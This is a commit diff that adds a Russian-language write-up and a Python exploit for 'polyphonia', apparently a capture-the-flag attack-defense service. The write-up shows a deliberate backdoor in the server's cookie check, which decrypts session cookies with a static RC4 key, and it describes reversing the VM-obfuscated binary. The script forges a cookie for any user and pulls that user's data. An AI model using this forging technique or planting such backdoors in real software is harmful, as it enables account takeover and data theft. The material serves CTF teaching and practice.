adding validated services? patching forcad_local.py

This commit is contained in:
Your Name
2026-08-13 08:32:35 +07:00
parent d485f61169
commit e795614e45
1459 changed files with 420036 additions and 436 deletions

View File

@@ -0,0 +1,177 @@
# writeup | polyphonia
Уязвимость здесь находится в функции `authenticate_cookie` (см. `sources/polyphonia/polyphonia_server_src/src/polyphonia_pg.c`):
```c
int authenticate_cookie(const char *cookie_hex, char *out_username, size_t username_len, int *out_user_id)
{
if (!cookie_hex)
return 0;
if (out_username && username_len > 0)
out_username[0] = '\0';
if (out_user_id)
*out_user_id = -1;
char username_buf[64];
int user_id = db_get_session_user(cookie_hex, username_buf);
if (user_id > 0)
{
if (out_user_id)
*out_user_id = user_id;
if (out_username && username_len > 0)
{
strncpy(out_username, username_buf, username_len - 1);
out_username[username_len - 1] = '\0';
}
return 1;
}
unsigned char session_bytes[SESSION_ID_LEN];
if (!hex_to_bytes(cookie_hex, session_bytes, SESSION_ID_LEN))
return 0;
unsigned char decrypted[SESSION_ID_LEN];
unsigned char keybuf[22];
derive_rc4_key(keybuf, sizeof(keybuf));
rc4_apply(keybuf, sizeof(keybuf), session_bytes, decrypted, SESSION_ID_LEN);
char username[65];
size_t name_len = 0;
while (name_len < sizeof(username) - 1 && name_len < SESSION_ID_LEN && decrypted[name_len] != '\0')
{
username[name_len] = (char)decrypted[name_len];
name_len++;
}
username[name_len] = '\0';
if (name_len == 0)
return 0;
user_id = db_get_user_by_username(username, username_buf);
if (user_id <= 0)
return 0;
if (out_user_id)
*out_user_id = user_id;
if (out_username && username_len > 0)
{
strncpy(out_username, username_buf, username_len - 1);
out_username[username_len - 1] = '\0';
}
return 2;
}
```
Как видим, сначала идёт "правильный" способ проверки юзера по сессионной куке, через `db_get_session_user`, а затем с помощью RC4, если юзер не нашёлся, кука проверяется "неправильным" способом - расшифровывается по статическому ключу. И из неё получаем `username` (`db_get_user_by_username`).
Ключ всегда одинаков:
```c
unsigned char keybuf[22];
derive_rc4_key(keybuf, sizeof(keybuf));
```
Соответственно можем сделать подходящую куку на любого юзера:
```python
def forge_cookie(username: str) -> str:
encoded = username.encode("utf-8")
if len(encoded) > SESSION_LEN:
raise ValueError("username too long for forged session payload")
padded = encoded + b"\x00" * (SESSION_LEN - len(encoded))
key = derive_rc4_key(22)
ciphertext = rc4(key, padded)
return ciphertext.hex()
```
Собственно ключ создаётся с помощью LCG:
```python
# RC4 key derived via deterministic LCG (matches server runtime key derivation)
# LCG: state = (214013*state + 2531011) & 0x7fffffff; return state >> 16
# We generate 22 bytes by taking hi,lo bytes from successive 16-bit outputs.
def derive_rc4_key(length: int = 22) -> bytes:
state = 0
out = bytearray()
while len(out) < length:
state = (214013 * state + 2531011) & 0x7fffffff
r = (state >> 16) & 0xFFFF
hi = (r >> 8) & 0xFF
lo = r & 0xFF
if len(out) < length:
out.append(hi)
if len(out) < length:
out.append(lo)
return bytes(out)
```
```python
>>> derive_rc4_key(22).hex()
'00261e2752f6098522972e1520ad7e1d28d2779416dd'
```
Но это не обязательно знать, можно просто выдернуть его один раз, т.к. он не меняется.
Всё вышеописанное никак не тянет на hard таск. Действительно, если бы были даны исходники, достаточно кинуть их в GPT и получить сплоит. Но есть очень важная деталь: hard-ом этот сервис становится, когда сурцов не даём, а даём ОБФУСЦИРОВАННЫЙ (!) бинарник.
Для обфускации использовался LLVM pass, который оборачивает все функции в виртуальную машину (транслирует LLVM IR в опкоды своей внутренней машины). См. код обфускатора: `sources/polyphonia/obfuscator_src`
Бинарник, выданный участникам, не strip-нут, что облегчает решение. Он расположен тут: `services/polyphonia/dist/polyphonia-server-binary`. Остаётся написать дизассемблер опкодов VM и понять логику работы сервера.
Смотрим логику работы VM-ки. Главный цикл исполнения (dispatch опкодов) находится в функции `vm_execute_internal` (`sources/polyphonia/obfuscator_src/src/runtime/vm_runtime.c`).
Ещё один нюанс работы VM заключается в постоянном шифровании/расшифровке. Например `vm_decrypt_imm`, здесь расшифровываем value:
```c
case OP_PUSH_IMM: {
int32_t cipher = (int32_t)vm_fetch32(&vm);
int32_t value = vm_decrypt_imm(&vm, cipher);
vm_push(&vm, (int64_t)value);
#if VM_ENABLE_TRACE
if (vm.debug)
printf("PUSH_IMM %d (SP now %d)\n", value, vm.sp);
#endif
break;
}
```
В то же время в `vm_push`, напротив, идёт зашифровывание значения обратно, то есть на стеке VM значения лежат в зашифрованном виде:
```c
static inline void vm_push(VMState *vm, int64_t plain)
{
vm->stack[vm->sp++] = vm_encrypt_value(vm, plain);
}
```
Перед dispatch-ем инструкция fetch-ится с помощью `vm_fetch8`, расшифровка - `ct ^ k`, `k` - это так называемый rolling key, т.е. ключ ещё и не статический, а меняется по ходу работы программы:
```c
static inline uint8_t vm_fetch8(VMState *vm)
{
uint8_t ct = vm->bytecode[vm->pc];
if (!vm->code_encrypted)
{
vm->pc++;
return ct;
}
if (vm->code_off != vm->pc)
vm_code_stream_reset(vm, vm->pc);
if (vm->code_bpos >= 8)
{
vm->code_cur_ks = vm_stream_next(&vm->code_cur_state);
vm->code_bpos = 0;
}
uint8_t k = (uint8_t)(vm->code_cur_ks & 0xFF);
vm->code_cur_ks >>= 8;
vm->code_bpos++;
vm->code_off++;
vm->pc++;
return (uint8_t)(ct ^ k);
}
```
Меняется он при помощи xorshift64:
```c
// xorshift64* keystream for blob encryption/decryption (simple stream)
static inline uint64_t vm_stream_next(uint64_t *s)
{
uint64_t x = *s;
x ^= x >> 12;
x ^= x << 25;
x ^= x >> 27;
*s = x;
return x * 2685821657736338717ULL;
}
```
Дальше дампим байткод VM из бинаря и засовываем его в дизассемблер, который расшифрует опкоды. Далее, внимательно читая ассемблерный листинг функций (или опять же воспользовавшись GPT), можно найти уязвимую функцию.

View File

@@ -0,0 +1,131 @@
#!/usr/bin/env python3
import argparse
import json
import sys
from urllib import error, request
# RC4 key derived via deterministic LCG (matches server runtime key derivation)
# LCG: state = (214013*state + 2531011) & 0x7fffffff; return state >> 16
# We generate 22 bytes by taking hi,lo bytes from successive 16-bit outputs.
def derive_rc4_key(length: int = 22) -> bytes:
state = 0
out = bytearray()
while len(out) < length:
state = (214013 * state + 2531011) & 0x7fffffff
r = (state >> 16) & 0xFFFF
hi = (r >> 8) & 0xFF
lo = r & 0xFF
if len(out) < length:
out.append(hi)
if len(out) < length:
out.append(lo)
return bytes(out)
SESSION_LEN = 64
def rc4(key: bytes, data: bytes) -> bytes:
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) & 0xFF
s[i], s[j] = s[j], s[i]
i = 0
j = 0
out = bytearray(len(data))
for idx, byte in enumerate(data):
i = (i + 1) & 0xFF
j = (j + s[i]) & 0xFF
s[i], s[j] = s[j], s[i]
k = s[(s[i] + s[j]) & 0xFF]
out[idx] = byte ^ k
return bytes(out)
def forge_cookie(username: str) -> str:
encoded = username.encode("utf-8")
if len(encoded) > SESSION_LEN:
raise ValueError("username too long for forged session payload")
padded = encoded + b"\x00" * (SESSION_LEN - len(encoded))
key = derive_rc4_key(22)
ciphertext = rc4(key, padded)
return ciphertext.hex()
def query_user(base_url: str, cookie_value: str) -> None:
url = base_url.rstrip("/") + "/api/user"
req = request.Request(url)
req.add_header("Cookie", f"session={cookie_value}")
with request.urlopen(req) as resp:
body = resp.read().decode("utf-8", errors="replace")
print(f"[+] HTTP {resp.status}")
print(body)
def query_melodies(base_url: str, cookie_value: str) -> None:
url = base_url.rstrip("/") + "/api/melodies"
req = request.Request(url)
req.add_header("Cookie", f"session={cookie_value}")
with request.urlopen(req) as resp:
raw = resp.read().decode("utf-8", errors="replace")
try:
data = json.loads(raw)
except json.JSONDecodeError:
print("[-] Failed to parse melodies JSON; raw response:")
print(raw)
return
items = data.get("melodies")
if not isinstance(items, list):
print("[-] Unexpected melodies schema; raw response:")
print(raw)
return
if not items:
print("[+] No melodies found")
return
print("[+] Melodies:")
for m in items:
if not isinstance(m, dict):
continue
name = m.get("name")
desc = m.get("description")
if not isinstance(name, str):
name = str(name)
if not isinstance(desc, str):
desc = ""
print(f"- {name}: {desc}")
def main() -> int:
parser = argparse.ArgumentParser(description="Forge Polyphonia session cookie via RC4 backdoor")
parser.add_argument("--base-url", default="http://localhost:22025", help="Server base URL")
parser.add_argument("--username", default="admin123", help="Username to impersonate")
parser.add_argument("--no-request", action="store_true", help="Only print the forged cookie")
args = parser.parse_args()
try:
cookie_value = forge_cookie(args.username)
except ValueError as exc:
print(f"[-] {exc}")
return 1
print(f"[+] Forged cookie for {args.username}: {cookie_value}")
if args.no_request:
return 0
try:
query_user(args.base_url, cookie_value)
# Then dump melodies for this session
query_melodies(args.base_url, cookie_value)
except error.HTTPError as exc:
body = exc.read().decode("utf-8", errors="replace")
print(f"[-] Server returned HTTP {exc.code}: {body}")
return 1
except error.URLError as exc:
print(f"[-] Failed to contact {args.base_url}: {exc}")
return 1
return 0
if __name__ == "__main__":
sys.exit(main())